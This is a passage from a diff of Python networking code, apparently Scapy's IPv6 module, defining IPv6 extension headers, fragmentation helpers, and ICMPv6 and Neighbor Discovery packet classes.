+            return len(i)
+        return 0
+
+    def getfield(self, pkt, s):
+        c = l = None
+        if self.length_from is not None:
+            l = self.length_from(pkt)
+        elif self.count_from is not None:
+            c = self.count_from(pkt)
+
+        opt = []
+        ret = b""
+        x = s
+        if l is not None:
+            x,ret = s[:l],s[l:]
+        while x:
+            if c is not None:
+                if c <= 0:
+                    break
+                c -= 1
+            o = orb(x[0]) # Option type
+            cls = self.cls
+            if o in _hbhoptcls:
+                cls = _hbhoptcls[o]
+            try:
+                op = cls(x)
+            except:
+                op = self.cls(x)
+            opt.append(op)
+            if isinstance(op.payload, conf.raw_layer):
+                x = op.payload.load
+                del(op.payload)
+            else:
+                x = b""
+        return x+ret,opt
+
+    def i2m(self, pkt, x):
+        autopad = None
+        try:
+            autopad = getattr(pkt, "autopad") # Hack : 'autopad' phantom field
+        except:
+            autopad = 1
+
+        if not autopad:
+            return b"".join(map(str, x))
+
+        curpos = self.curpos
+        s = b""
+        for p in x:
+            d = p.alignment_delta(curpos)
+            curpos += d
+            if d == 1:
+                s += raw(Pad1())
+            elif d != 0:
+                s += raw(PadN(optdata=b'\x00'*(d-2)))
+            pstr = raw(p)
+            curpos += len(pstr)
+            s += pstr
+
+        # Let's make the class including our option field
+        # a multiple of 8 octets long
+        d = curpos % 8
+        if d == 0:
+            return s
+        d = 8 - d
+        if d == 1:
+            s += raw(Pad1())
+        elif d != 0:
+            s += raw(PadN(optdata=b'\x00'*(d-2)))
+
+        return s
+
+    def addfield(self, pkt, s, val):
+        return s+self.i2m(pkt, val)
+
+class _PhantomAutoPadField(ByteField):
+    def addfield(self, pkt, s, val):
+        return s
+
+    def getfield(self, pkt, s):
+        return s, 1
+
+    def i2repr(self, pkt, x):
+        if x:
+            return "On"
+        return "Off"
+
+
+class IPv6ExtHdrHopByHop(_IPv6ExtHdr):
+    name = "IPv6 Extension Header - Hop-by-Hop Options Header"
+    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
+                    FieldLenField("len", None, length_of="options", fmt="B",
+                                  adjust = lambda pkt,x: (x+2+7)//8 - 1),
+                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
+                    _HopByHopOptionsField("options", [], HBHOptUnknown, 2,
+                                          length_from = lambda pkt: (8*(pkt.len+1))-2) ]
+    overload_fields = {IPv6: { "nh": 0 }}
+
+
+######################## Destination Option Header ##########################
+
+class IPv6ExtHdrDestOpt(_IPv6ExtHdr):
+    name = "IPv6 Extension Header - Destination Options Header"
+    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
+                    FieldLenField("len", None, length_of="options", fmt="B",
+                                  adjust = lambda pkt,x: (x+2+7)//8 - 1),
+                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
+                    _HopByHopOptionsField("options", [], HBHOptUnknown, 2,
+                                          length_from = lambda pkt: (8*(pkt.len+1))-2) ]
+    overload_fields = {IPv6: { "nh": 60 }}
+
+
+############################# Routing Header ################################
+
+class IPv6ExtHdrRouting(_IPv6ExtHdr):
+    name = "IPv6 Option Header Routing"
+    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
+                    FieldLenField("len", None, count_of="addresses", fmt="B",
+                                  adjust = lambda pkt,x:2*x), # in 8 bytes blocks
+                    ByteField("type", 0),
+                    ByteField("segleft", None),
+                    BitField("reserved", 0, 32), # There is meaning in this field ...
+                    IP6ListField("addresses", [],
+                                 length_from = lambda pkt: 8*pkt.len)]
+    overload_fields = {IPv6: { "nh": 43 }}
+
+    def post_build(self, pkt, pay):
+        if self.segleft is None:
+            pkt = pkt[:3]+struct.pack("B", len(self.addresses))+pkt[4:]
+        return _IPv6ExtHdr.post_build(self, pkt, pay)
+
+
+######################### Segment Routing Header ############################
+
+# This implementation is based on draft 06, available at:
+# https://tools.ietf.org/html/draft-ietf-6man-segment-routing-header-06
+
+class IPv6ExtHdrSegmentRoutingTLV(Packet):
+    name = "IPv6 Option Header Segment Routing - Generic TLV"
+    fields_desc = [ ByteField("type", 0),
+                    ByteField("len", 0),
+                    ByteField("reserved", 0),
+                    ByteField("flags", 0),
+                    StrLenField("value", "", length_from=lambda pkt: pkt.len) ]
+
+    def extract_padding(self, p):
+        return b"",p
+
+    registered_sr_tlv = {}
+    @classmethod
+    def register_variant(cls):
+        cls.registered_sr_tlv[cls.type.default] = cls
+
+    @classmethod
+    def dispatch_hook(cls, pkt=None, *args, **kargs):
+        if pkt:
+            tmp_type = orb(pkt[0])
+            return cls.registered_sr_tlv.get(tmp_type, cls)
+        return cls
+
+
+class IPv6ExtHdrSegmentRoutingTLVIngressNode(IPv6ExtHdrSegmentRoutingTLV):
+    name = "IPv6 Option Header Segment Routing - Ingress Node TLV"
+    fields_desc = [ ByteField("type", 1),
+                    ByteField("len", 18),
+                    ByteField("reserved", 0),
+                    ByteField("flags", 0),
+                    IP6Field("ingress_node", "::1") ]
+
+
+class IPv6ExtHdrSegmentRoutingTLVEgressNode(IPv6ExtHdrSegmentRoutingTLV):
+    name = "IPv6 Option Header Segment Routing - Egress Node TLV"
+    fields_desc = [ ByteField("type", 2),
+                    ByteField("len", 18),
+                    ByteField("reserved", 0),
+                    ByteField("flags", 0),
+                    IP6Field("egress_node", "::1") ]
+
+
+class IPv6ExtHdrSegmentRoutingTLVPadding(IPv6ExtHdrSegmentRoutingTLV):
+    name = "IPv6 Option Header Segment Routing - Padding TLV"
+    fields_desc = [ ByteField("type", 4),
+                    FieldLenField("len", None, length_of="padding", fmt="B"),
+                    StrLenField("padding", b"\x00", length_from=lambda pkt: pkt.len) ]
+
+
+class IPv6ExtHdrSegmentRouting(_IPv6ExtHdr):
+    name = "IPv6 Option Header Segment Routing"
+    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
+                    ByteField("len", None),
+                    ByteField("type", 4),
+                    ByteField("segleft", None),
+                    ByteField("lastentry", None),
+                    BitField("unused1", 0, 1),
+                    BitField("protected", 0, 1),
+                    BitField("oam", 0, 1),
+                    BitField("alert", 0, 1),
+                    BitField("hmac", 0, 1),
+                    BitField("unused2", 0, 3),
+                    ShortField("tag", 0),
+                    IP6ListField("addresses", ["::1"],
+                        count_from=lambda pkt: pkt.lastentry),
+                    PacketListField("tlv_objects", [], IPv6ExtHdrSegmentRoutingTLV,
+                        length_from=lambda pkt: 8*pkt.len - 16*pkt.lastentry) ]
+
+    overload_fields = { IPv6: { "nh": 43 } }
+
+    def post_build(self, pkt, pay):
+
+        if self.len is None:
+
+            # The extension must be align on 8 bytes
+            tmp_mod = (len(pkt) - 8) % 8
+            if tmp_mod == 1:
+                warning("IPv6ExtHdrSegmentRouting(): can't pad 1 byte !")
+            elif tmp_mod >= 2:
+                #Add the padding extension
+                tmp_pad = b"\x00" * (tmp_mod-2)
+                tlv = IPv6ExtHdrSegmentRoutingTLVPadding(padding=tmp_pad)
+                pkt += raw(tlv)
+
+            tmp_len = (len(pkt) - 8) // 8
+            pkt = pkt[:1] + struct.pack("B", tmp_len)+ pkt[2:]
+
+        if self.segleft is None:
+            tmp_len = len(self.addresses)
+            if tmp_len:
+                tmp_len -= 1
+            pkt = pkt[:3] + struct.pack("B", tmp_len) + pkt[4:]
+
+        if self.lastentry is None:
+            pkt = pkt[:4] + struct.pack("B", len(self.addresses)) + pkt[5:]
+
+        return _IPv6ExtHdr.post_build(self, pkt, pay) 
+
+
+########################### Fragmentation Header ############################
+
+class IPv6ExtHdrFragment(_IPv6ExtHdr):
+    name = "IPv6 Extension Header - Fragmentation header"
+    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
+                    BitField("res1", 0, 8),
+                    BitField("offset", 0, 13),
+                    BitField("res2", 0, 2),
+                    BitField("m", 0, 1),
+                    IntField("id", None) ]
+    overload_fields = {IPv6: { "nh": 44 }}
+
+
+def defragment6(packets):
+    """
+    Performs defragmentation of a list of IPv6 packets. Packets are reordered.
+    Crap is dropped. What lacks is completed by 'X' characters.
+    """
+
+    l = [x for x in packets if IPv6ExtHdrFragment in x] # remove non fragments
+    if not l:
+        return []
+
+    id = l[0][IPv6ExtHdrFragment].id
+
+    llen = len(l)
+    l = [x for x in l if x[IPv6ExtHdrFragment].id == id]
+    if len(l) != llen:
+        warning("defragment6: some fragmented packets have been removed from list")
+    llen = len(l)
+
+    # reorder fragments
+    res = []
+    while l:
+        min_pos = 0
+        min_offset  = l[0][IPv6ExtHdrFragment].offset
+        for p in l:
+            cur_offset = p[IPv6ExtHdrFragment].offset
+            if cur_offset < min_offset:
+                min_pos = 0
+                min_offset  = cur_offset
+        res.append(l[min_pos])
+        del(l[min_pos])
+
+    # regenerate the fragmentable part
+    fragmentable = b""
+    for p in res:
+        q=p[IPv6ExtHdrFragment]
+        offset = 8*q.offset
+        if offset != len(fragmentable):
+            warning("Expected an offset of %d. Found %d. Padding with XXXX" % (len(fragmentable), offset))
+        fragmentable += b"X"*(offset - len(fragmentable))
+        fragmentable += raw(q.payload)
+
+    # Regenerate the unfragmentable part.
+    q = res[0]
+    nh = q[IPv6ExtHdrFragment].nh
+    q[IPv6ExtHdrFragment].underlayer.nh = nh
+    del q[IPv6ExtHdrFragment].underlayer.payload
+    q /= conf.raw_layer(load=fragmentable)
+
+    return IPv6(raw(q))
+
+
+def fragment6(pkt, fragSize):
+    """
+    Performs fragmentation of an IPv6 packet. Provided packet ('pkt') must already
+    contain an IPv6ExtHdrFragment() class. 'fragSize' argument is the expected
+    maximum size of fragments (MTU). The list of packets is returned.
+
+    If packet does not contain an IPv6ExtHdrFragment class, it is returned in
+    result list.
+    """
+
+    pkt = pkt.copy()
+
+    if not IPv6ExtHdrFragment in pkt:
+        # TODO : automatically add a fragment before upper Layer
+        #        at the moment, we do nothing and return initial packet
+        #        as single element of a list
+        return [pkt]
+
+    # If the payload is bigger than 65535, a Jumbo payload must be used, as
+    # an IPv6 packet can't be bigger than 65535 bytes.
+    if len(raw(pkt[IPv6ExtHdrFragment])) > 65535:
+      warning("An IPv6 packet can'be bigger than 65535, please use a Jumbo payload.")
+      return []
+
+    s = raw(pkt) # for instantiation to get upper layer checksum right
+
+    if len(s) <= fragSize:
+        return [pkt]
+
+    # Fragmentable part : fake IPv6 for Fragmentable part length computation
+    fragPart = pkt[IPv6ExtHdrFragment].payload
+    tmp = raw(IPv6(src="::1", dst="::1")/fragPart)
+    fragPartLen = len(tmp) - 40  # basic IPv6 header length
+    fragPartStr = s[-fragPartLen:]
+
+    # Grab Next Header for use in Fragment Header
+    nh = pkt[IPv6ExtHdrFragment].nh
+
+    # Keep fragment header
+    fragHeader = pkt[IPv6ExtHdrFragment]
+    del fragHeader.payload # detach payload
+
+    # Unfragmentable Part
+    unfragPartLen = len(s) - fragPartLen - 8
+    unfragPart = pkt
+    del pkt[IPv6ExtHdrFragment].underlayer.payload # detach payload
+
+    # Cut the fragmentable part to fit fragSize. Inner fragments have
+    # a length that is an integer multiple of 8 octets. last Frag MTU
+    # can be anything below MTU
+    lastFragSize = fragSize - unfragPartLen - 8
+    innerFragSize = lastFragSize - (lastFragSize % 8)
+
+    if lastFragSize <= 0 or innerFragSize == 0:
+        warning("Provided fragment size value is too low. " +
+                "Should be more than %d" % (unfragPartLen + 8))
+        return [unfragPart/fragHeader/fragPart]
+
+    remain = fragPartStr
+    res = []
+    fragOffset = 0     # offset, incremeted during creation
+    fragId = random.randint(0,0xffffffff) # random id ...
+    if fragHeader.id is not None:  # ... except id provided by user
+        fragId = fragHeader.id
+    fragHeader.m = 1
+    fragHeader.id = fragId
+    fragHeader.nh = nh
+
+    # Main loop : cut, fit to FRAGSIZEs, fragOffset, Id ...
+    while True:
+        if (len(remain) > lastFragSize):
+            tmp = remain[:innerFragSize]
+            remain = remain[innerFragSize:]
+            fragHeader.offset = fragOffset    # update offset
+            fragOffset += (innerFragSize // 8)  # compute new one
+            if IPv6 in unfragPart:
+                unfragPart[IPv6].plen = None
+            tempo = unfragPart/fragHeader/conf.raw_layer(load=tmp)
+            res.append(tempo)
+        else:
+            fragHeader.offset = fragOffset    # update offSet
+            fragHeader.m = 0
+            if IPv6 in unfragPart:
+                unfragPart[IPv6].plen = None
+            tempo = unfragPart/fragHeader/conf.raw_layer(load=remain)
+            res.append(tempo)
+            break
+    return res
+
+
+############################### AH Header ###################################
+
+# class _AHFieldLenField(FieldLenField):
+#     def getfield(self, pkt, s):
+#         l = getattr(pkt, self.fld)
+#         l = (l*8)-self.shift
+#         i = self.m2i(pkt, s[:l])
+#         return s[l:],i
+
+# class _AHICVStrLenField(StrLenField):
+#     def i2len(self, pkt, x):
+
+
+
+# class IPv6ExtHdrAH(_IPv6ExtHdr):
+#     name = "IPv6 Extension Header - AH"
+#     fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
+#                     _AHFieldLenField("len", None, "icv"),
+#                     ShortField("res", 0),
+#                     IntField("spi", 0),
+#                     IntField("sn", 0),
+#                     _AHICVStrLenField("icv", None, "len", shift=2) ]
+#     overload_fields = {IPv6: { "nh": 51 }}
+
+#     def post_build(self, pkt, pay):
+#         if self.len is None:
+#             pkt = pkt[0]+struct.pack("!B", 2*len(self.addresses))+pkt[2:]
+#         if self.segleft is None:
+#             pkt = pkt[:3]+struct.pack("!B", len(self.addresses))+pkt[4:]
+#         return _IPv6ExtHdr.post_build(self, pkt, pay)
+
+
+############################### ESP Header ##################################
+
+# class IPv6ExtHdrESP(_IPv6extHdr):
+#     name = "IPv6 Extension Header - ESP"
+#     fields_desc = [ IntField("spi", 0),
+#                     IntField("sn", 0),
+#                     # there is things to extract from IKE work
+#                     ]
+#     overloads_fields = {IPv6: { "nh": 50 }}
+
+
+
+#############################################################################
+#############################################################################
+###                           ICMPv6* Classes                             ###
+#############################################################################
+#############################################################################
+
+icmp6typescls = {    1: "ICMPv6DestUnreach",
+                     2: "ICMPv6PacketTooBig",
+                     3: "ICMPv6TimeExceeded",
+                     4: "ICMPv6ParamProblem",
+                   128: "ICMPv6EchoRequest",
+                   129: "ICMPv6EchoReply",
+                   130: "ICMPv6MLQuery",
+                   131: "ICMPv6MLReport",
+                   132: "ICMPv6MLDone",
+                   133: "ICMPv6ND_RS",
+                   134: "ICMPv6ND_RA",
+                   135: "ICMPv6ND_NS",
+                   136: "ICMPv6ND_NA",
+                   137: "ICMPv6ND_Redirect",
+                  #138: Do Me - RFC 2894 - Seems painful
+                   139: "ICMPv6NIQuery",
+                   140: "ICMPv6NIReply",
+                   141: "ICMPv6ND_INDSol",
+                   142: "ICMPv6ND_INDAdv",
+                  #143: Do Me - RFC 3810
+                   144: "ICMPv6HAADRequest",
+                   145: "ICMPv6HAADReply",
+                   146: "ICMPv6MPSol",
+                   147: "ICMPv6MPAdv",
+                  #148: Do Me - SEND related - RFC 3971
+                  #149: Do Me - SEND related - RFC 3971
+                   151: "ICMPv6MRD_Advertisement",
+                   152: "ICMPv6MRD_Solicitation",
+                   153: "ICMPv6MRD_Termination",
+                   }
+
+icmp6typesminhdrlen = {    1: 8,
+                           2: 8,
+                           3: 8,
+                           4: 8,
+                         128: 8,
+                         129: 8,
+                         130: 24,
+                         131: 24,
+                         132: 24,
+                         133: 8,
+                         134: 16,
+                         135: 24,
+                         136: 24,
+                         137: 40,
+                         #139:
+                         #140
+                         141: 8,
+                         142: 8,
+                         144: 8,
+                         145: 8,
+                         146: 8,
+                         147: 8,
+                         151: 8,
+                         152: 4,
+                         153: 4
+                   }
+
+icmp6types = { 1 : "Destination unreachable",
+               2 : "Packet too big",
+               3 : "Time exceeded",
+               4 : "Parameter problem",
+             100 : "Private Experimentation",
+             101 : "Private Experimentation",
+             128 : "Echo Request",
+             129 : "Echo Reply",
+             130 : "MLD Query",
+             131 : "MLD Report",
+             132 : "MLD Done",
+             133 : "Router Solicitation",
+             134 : "Router Advertisement",
+             135 : "Neighbor Solicitation",
+             136 : "Neighbor Advertisement",
+             137 : "Redirect Message",
+             138 : "Router Renumbering",
+             139 : "ICMP Node Information Query",
+             140 : "ICMP Node Information Response",
+             141 : "Inverse Neighbor Discovery Solicitation Message",
+             142 : "Inverse Neighbor Discovery Advertisement Message",
+             143 : "Version 2 Multicast Listener Report",
+             144 : "Home Agent Address Discovery Request Message",
+             145 : "Home Agent Address Discovery Reply Message",
+             146 : "Mobile Prefix Solicitation",
+             147 : "Mobile Prefix Advertisement",
+             148 : "Certification Path Solicitation",
+             149 : "Certification Path Advertisement",
+             151 : "Multicast Router Advertisement",
+             152 : "Multicast Router Solicitation",
+             153 : "Multicast Router Termination",
+             200 : "Private Experimentation",
+             201 : "Private Experimentation" }
+
+
+class _ICMPv6(Packet):
+    name = "ICMPv6 dummy class"
+    overload_fields = {IPv6: {"nh": 58}}
+    def post_build(self, p, pay):
+        p += pay
+        if self.cksum == None:
+            chksum = in6_chksum(58, self.underlayer, p)
+            p = p[:2]+struct.pack("!H", chksum)+p[4:]
+        return p
+
+    def hashret(self):
+        return self.payload.hashret()
+
+    def answers(self, other):
+        # isinstance(self.underlayer, _IPv6ExtHdr) may introduce a bug ...
+        if (isinstance(self.underlayer, IPerror6) or
+            isinstance(self.underlayer, _IPv6ExtHdr) and
+            isinstance(other, _ICMPv6)):
+            if not ((self.type == other.type) and
+                    (self.code == other.code)):
+                return 0
+            return 1
+        return 0
+
+
+class _ICMPv6Error(_ICMPv6):
+    name = "ICMPv6 errors dummy class"
+    def guess_payload_class(self,p):
+        return IPerror6
+
+class ICMPv6Unknown(_ICMPv6):
+    name = "Scapy6 ICMPv6 fallback class"
+    fields_desc = [ ByteEnumField("type",1, icmp6types),
+                    ByteField("code",0),
+                    XShortField("cksum", None),
+                    StrField("msgbody", "")]
+
+
+################################## RFC 2460 #################################
+
+class ICMPv6DestUnreach(_ICMPv6Error):
+    name = "ICMPv6 Destination Unreachable"
+    fields_desc = [ ByteEnumField("type",1, icmp6types),
+                    ByteEnumField("code",0, { 0: "No route to destination",
+                                              1: "Communication with destination administratively prohibited",
+                                              2: "Beyond scope of source address",
+                                              3: "Address unreachable",
+                                              4: "Port unreachable" }),
+                    XShortField("cksum", None),
+                    ByteField("length", 0),
+                    X3BytesField("unused",0)]
+
+class ICMPv6PacketTooBig(_ICMPv6Error):
+    name = "ICMPv6 Packet Too Big"
+    fields_desc = [ ByteEnumField("type",2, icmp6types),
+                    ByteField("code",0),
+                    XShortField("cksum", None),
+                    IntField("mtu",1280)]
+
+class ICMPv6TimeExceeded(_ICMPv6Error):
+    name = "ICMPv6 Time Exceeded"
+    fields_desc = [ ByteEnumField("type",3, icmp6types),
+                    ByteEnumField("code",0, { 0: "hop limit exceeded in transit",
+                                              1: "fragment reassembly time exceeded"}),
+                    XShortField("cksum", None),
+                    ByteField("length", 0),
+                    X3BytesField("unused",0)]
+
+# The default pointer value is set to the next header field of
+# the encapsulated IPv6 packet
+class ICMPv6ParamProblem(_ICMPv6Error):
+    name = "ICMPv6 Parameter Problem"
+    fields_desc = [ ByteEnumField("type",4, icmp6types),
+                    ByteEnumField("code",0, {0: "erroneous header field encountered",
+                                             1: "unrecognized Next Header type encountered",
+                                             2: "unrecognized IPv6 option encountered"}),
+                    XShortField("cksum", None),
+                    IntField("ptr",6)]
+
+class ICMPv6EchoRequest(_ICMPv6):
+    name = "ICMPv6 Echo Request"
+    fields_desc = [ ByteEnumField("type", 128, icmp6types),
+                    ByteField("code", 0),
+                    XShortField("cksum", None),
+                    XShortField("id",0),
+                    XShortField("seq",0),
+                    StrField("data", "")]
+    def mysummary(self):
+        return self.sprintf("%name% (id: %id% seq: %seq%)")
+    def hashret(self):
+        return struct.pack("HH",self.id,self.seq)+self.payload.hashret()
+
+
+class ICMPv6EchoReply(ICMPv6EchoRequest):
+    name = "ICMPv6 Echo Reply"
+    type = 129
+    def answers(self, other):
+        # We could match data content between request and reply.
+        return (isinstance(other, ICMPv6EchoRequest) and
+                self.id == other.id and self.seq == other.seq and
+                self.data == other.data)
+
+
+############ ICMPv6 Multicast Listener Discovery (RFC3810) ##################
+
+# tous les messages MLD sont emis avec une adresse source lien-locale
+# -> Y veiller dans le post_build si aucune n'est specifiee
+# La valeur de Hop-Limit doit etre de 1
+# "and an IPv6 Router Alert option in a Hop-by-Hop Options
+# header. (The router alert option is necessary to cause routers to
+# examine MLD messages sent to multicast addresses in which the router
+# itself has no interest"
+class _ICMPv6ML(_ICMPv6):
+    fields_desc = [ ByteEnumField("type", 130, icmp6types),
+                    ByteField("code", 0),
+                    XShortField("cksum", None),
+                    ShortField("mrd", 0),
+                    ShortField("reserved", 0),
+                    IP6Field("mladdr","::")]
+
+# general queries are sent to the link-scope all-nodes multicast
+# address ff02::1, with a multicast address field of 0 and a MRD of
+# [Query Response Interval]
+# Default value for mladdr is set to 0 for a General Query, and
+# overloaded by the user for a Multicast Address specific query
+# TODO : See what we can do to automatically include a Router Alert
+#        Option in a Destination Option Header.
+class ICMPv6MLQuery(_ICMPv6ML): # RFC 2710
+    name = "MLD - Multicast Listener Query"
+    type   = 130
+    mrd    = 10000 # 10s for mrd
+    mladdr = "::"
+    overload_fields = {IPv6: { "dst": "ff02::1", "hlim": 1, "nh": 58 }}
+    def hashret(self):
+        if self.mladdr != "::":
+            return (
+                inet_pton(socket.AF_INET6, self.mladdr) + self.payload.hashret()
+            )
+        else:
+            return self.payload.hashret()
+
+
+# TODO : See what we can do to automatically include a Router Alert
+#        Option in a Destination Option Header.
+class ICMPv6MLReport(_ICMPv6ML): # RFC 2710
+    name = "MLD - Multicast Listener Report"
+    type = 131
+    overload_fields = {IPv6: {"hlim": 1, "nh": 58}}
+    # implementer le hashret et le answers
+
+# When a node ceases to listen to a multicast address on an interface,
+# it SHOULD send a single Done message to the link-scope all-routers
+# multicast address (FF02::2), carrying in its multicast address field
+# the address to which it is ceasing to listen
+# TODO : See what we can do to automatically include a Router Alert
+#        Option in a Destination Option Header.
+class ICMPv6MLDone(_ICMPv6ML): # RFC 2710
+    name = "MLD - Multicast Listener Done"
+    type = 132
+    overload_fields = {IPv6: { "dst": "ff02::2", "hlim": 1, "nh": 58}}
+
+
+########## ICMPv6 MRD - Multicast Router Discovery (RFC 4286) ###############
+
+# TODO:
+# - 04/09/06 troglocan : find a way to automatically add a router alert
+#            option for all MRD packets. This could be done in a specific
+#            way when IPv6 is the under layer with some specific keyword
+#            like 'exthdr'. This would allow to keep compatibility with
+#            providing IPv6 fields to be overloaded in fields_desc.
+#
+#            At the moment, if user inserts an IPv6 Router alert option
+#            none of the IPv6 default values of IPv6 layer will be set.
+
+class ICMPv6MRD_Advertisement(_ICMPv6):
+    name = "ICMPv6 Multicast Router Discovery Advertisement"
+    fields_desc = [ByteEnumField("type", 151, icmp6types),
+                   ByteField("advinter", 20),
+                   XShortField("cksum", None),
+                   ShortField("queryint", 0),
+                   ShortField("robustness", 0)]
+    overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::2"}}
+                       # IPv6 Router Alert requires manual inclusion
+    def extract_padding(self, s):
+        return s[:8], s[8:]
+
+class ICMPv6MRD_Solicitation(_ICMPv6):
+    name = "ICMPv6 Multicast Router Discovery Solicitation"
+    fields_desc = [ByteEnumField("type", 152, icmp6types),
+                   ByteField("res", 0),
+                   XShortField("cksum", None) ]
+    overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::2"}}
+                       # IPv6 Router Alert requires manual inclusion
+    def extract_padding(self, s):
+        return s[:4], s[4:]
+
+class ICMPv6MRD_Termination(_ICMPv6):
+    name = "ICMPv6 Multicast Router Discovery Termination"
+    fields_desc = [ByteEnumField("type", 153, icmp6types),
+                   ByteField("res", 0),
+                   XShortField("cksum", None) ]
+    overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::6A"}}
+                       # IPv6 Router Alert requires manual inclusion
+    def extract_padding(self, s):
+        return s[:4], s[4:]
+
+
+################### ICMPv6 Neighbor Discovery (RFC 2461) ####################
+
+icmp6ndopts = { 1: "Source Link-Layer Address",
+                2: "Target Link-Layer Address",
+                3: "Prefix Information",
+                4: "Redirected Header",
+                5: "MTU",
+                6: "NBMA Shortcut Limit Option", # RFC2491
+                7: "Advertisement Interval Option",
+                8: "Home Agent Information Option",
+                9: "Source Address List",
+               10: "Target Address List",
+               11: "CGA Option",            # RFC 3971
+               12: "RSA Signature Option",  # RFC 3971
+               13: "Timestamp Option",      # RFC 3971
+               14: "Nonce option",          # RFC 3971
+               15: "Trust Anchor Option",   # RFC 3971
+               16: "Certificate Option",    # RFC 3971
+               17: "IP Address Option",                             # RFC 4068
+               18: "New Router Prefix Information Option",          # RFC 4068
+               19: "Link-layer Address Option",                     # RFC 4068
+               20: "Neighbor Advertisement Acknowledgement Option",
+               21: "CARD Request Option", # RFC 4065/4066/4067
+               22: "CARD Reply Option",   # RFC 4065/4066/4067
+               23: "MAP Option",          # RFC 4140
+               24: "Route Information Option",  # RFC 4191
+               25: "Recusive DNS Server Option",
+               26: "IPv6 Router Advertisement Flags Option"
+                }
+
+icmp6ndoptscls = { 1: "ICMPv6NDOptSrcLLAddr",
+                   2: "ICMPv6NDOptDstLLAddr",
+                   3: "ICMPv6NDOptPrefixInfo",
+                   4: "ICMPv6NDOptRedirectedHdr",
+                   5: "ICMPv6NDOptMTU",
+                   6: "ICMPv6NDOptShortcutLimit",
+                   7: "ICMPv6NDOptAdvInterval",
+                   8: "ICMPv6NDOptHAInfo",
+                   9: "ICMPv6NDOptSrcAddrList",
+                  10: "ICMPv6NDOptTgtAddrList",
+                  #11: Do Me,
+                  #12: Do Me,
+                  #13: Do Me,
+                  #14: Do Me,
+                  #15: Do Me,
+                  #16: Do Me,
+                  17: "ICMPv6NDOptIPAddr",
+                  18: "ICMPv6NDOptNewRtrPrefix",
+                  19: "ICMPv6NDOptLLA",
+                  #18: Do Me,
+                  #19: Do Me,
+                  #20: Do Me,
+                  #21: Do Me,
+                  #22: Do Me,
+                  23: "ICMPv6NDOptMAP",
+                  24: "ICMPv6NDOptRouteInfo",
+                  25: "ICMPv6NDOptRDNSS",
+                  26: "ICMPv6NDOptEFA",
+                  31: "ICMPv6NDOptDNSSL"
+                  }
+
+class _ICMPv6NDGuessPayload:
+    name = "Dummy ND class that implements guess_payload_class()"
+    def guess_payload_class(self,p):
+        if len(p) > 1:
+            return get_cls(icmp6ndoptscls.get(orb(p[0]),"Raw"), "Raw") # s/Raw/ICMPv6NDOptUnknown/g ?
+
+
+# Beginning of ICMPv6 Neighbor Discovery Options.
+
+class ICMPv6NDOptUnknown(_ICMPv6NDGuessPayload, Packet):
+    name = "ICMPv6 Neighbor Discovery Option - Scapy Unimplemented"
+    fields_desc = [ ByteField("type",None),
+                    FieldLenField("len",None,length_of="data",fmt="B",
+                                  adjust = lambda pkt,x: x+2),
+                    StrLenField("data","",
+                                length_from = lambda pkt: pkt.len-2) ]
+
+# NOTE: len includes type and len field. Expressed in unit of 8 bytes
+# TODO: Revoir le coup du ETHER_ANY
+class ICMPv6NDOptSrcLLAddr(_ICMPv6NDGuessPayload, Packet):
+    name = "ICMPv6 Neighbor Discovery Option - Source Link-Layer Address"
+    fields_desc = [ ByteField("type", 1),
+                    ByteField("len", 1),
+                    MACField("lladdr", ETHER_ANY) ]
+    def mysummary(self):
+        return self.sprintf("%name% %lladdr%")
+
+class ICMPv6NDOptDstLLAddr(ICMPv6NDOptSrcLLAddr):
+    name = "ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address"
+    type = 2
+
+class ICMPv6NDOptPrefixInfo(_ICMPv6NDGuessPayload, Packet):
+    name = "ICMPv6 Neighbor Discovery Option - Prefix Information"
+    fields_desc = [ ByteField("type",3),
+                    ByteField("len",4),
+                    ByteField("prefixlen",None),
+                    BitField("L",1,1),
+                    BitField("A",1,1),
+                    BitField("R",0,1),
+                    BitField("res1",0,5),
+                    XIntField("validlifetime",0xffffffff),
+                    XIntField("preferredlifetime",0xffffffff),
+                    XIntField("res2",0x00000000),
+                    IP6Field("prefix","::") ]
+    def mysummary(self):
+        return self.sprintf("%name% %prefix%")
+
+# TODO: We should also limit the size of included packet to something
+# like (initiallen - 40 - 2)
+class TruncPktLenField(PacketLenField):
+    __slots__ = ["cur_shift"]
+
+    def __init__(self, name, default, cls, cur_shift, length_from=None, shift=0):
+        PacketLenField.__init__(self, name, default, cls, length_from=length_from)
+        self.cur_shift = cur_shift
+
+    def getfield(self, pkt, s):
+        l = self.length_from(pkt)
+        i = self.m2i(pkt, s[:l])
+        return s[l:],i
+
+    def m2i(self, pkt, m):
+        s = None
+        try: # It can happen we have sth shorter than 40 bytes
+            s = self.cls(m)
+        except:
+            return conf.raw_layer(m)
+        return s
+
+    def i2m(self, pkt, x):
+        s = raw(x)
+        l = len(s)
+        r = (l + self.cur_shift) % 8
+        l = l - r
+        return s[:l]
+
+    def i2len(self, pkt, i):
+        return len(self.i2m(pkt, i))
+
+
+# Faire un post_build pour le recalcul de la taille (en multiple de 8 octets)
+class ICMPv6NDOptRedirectedHdr(_ICMPv6NDGuessPayload, Packet):
+    name = "ICMPv6 Neighbor Discovery Option - Redirected Header"
+    fields_desc = [ ByteField("type",4),
+                    FieldLenField("len", None, length_of="pkt", fmt="B",
+                                  adjust = lambda pkt,x:(x+8)//8),
+                    StrFixedLenField("res", b"\x00"*6, 6),
+                    TruncPktLenField("pkt", b"", IPv6, 8,
+                                     length_from = lambda pkt: 8*pkt.len-8) ]
+
+# See which value should be used for default MTU instead of 1280
+class ICMPv6NDOptMTU(_ICMPv6NDGuessPayload, Packet):
+    name = "ICMPv6 Neighbor Discovery Option - MTU"
+    fields_desc = [ ByteField("type",5),
+                    ByteField("len",1),
+                    XShortField("res",0),
+                    IntField("mtu",1280)]
+
+class ICMPv6NDOptShortcutLimit(_ICMPv6NDGuessPayload, Packet): # RFC 2491
+    name = "ICMPv6 Neighbor Discovery Option - NBMA Shortcut Limit"
